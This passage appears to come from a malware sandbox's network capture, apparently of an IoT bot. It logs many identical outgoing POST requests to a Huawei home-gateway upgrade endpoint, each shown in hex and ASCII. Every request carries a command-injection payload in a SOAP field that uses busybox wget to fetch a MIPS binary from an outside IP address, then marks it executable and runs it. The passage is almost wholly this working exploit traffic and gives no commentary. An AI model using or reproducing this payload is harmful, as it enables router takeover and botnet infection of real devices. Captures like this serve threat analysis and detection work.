Nov 19, 2023 09:17:04.642051935 CET	2240	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.009634972 CET	2296	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:11.620898008 CET	2430	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:20.831809044 CET	2685	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:40.796952009 CET	3222	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	156.254.85.109	37215	192.168.2.23	44436

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:03.036643982 CET	2210	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:04.641968966 CET	2239	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:06.561728001 CET	2294	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:10.597147942 CET	2403	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272149086 CET	2608	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 